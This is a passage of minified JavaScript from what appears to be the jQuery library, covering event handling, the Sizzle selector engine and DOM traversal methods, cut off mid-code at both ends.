"),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+"."+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return 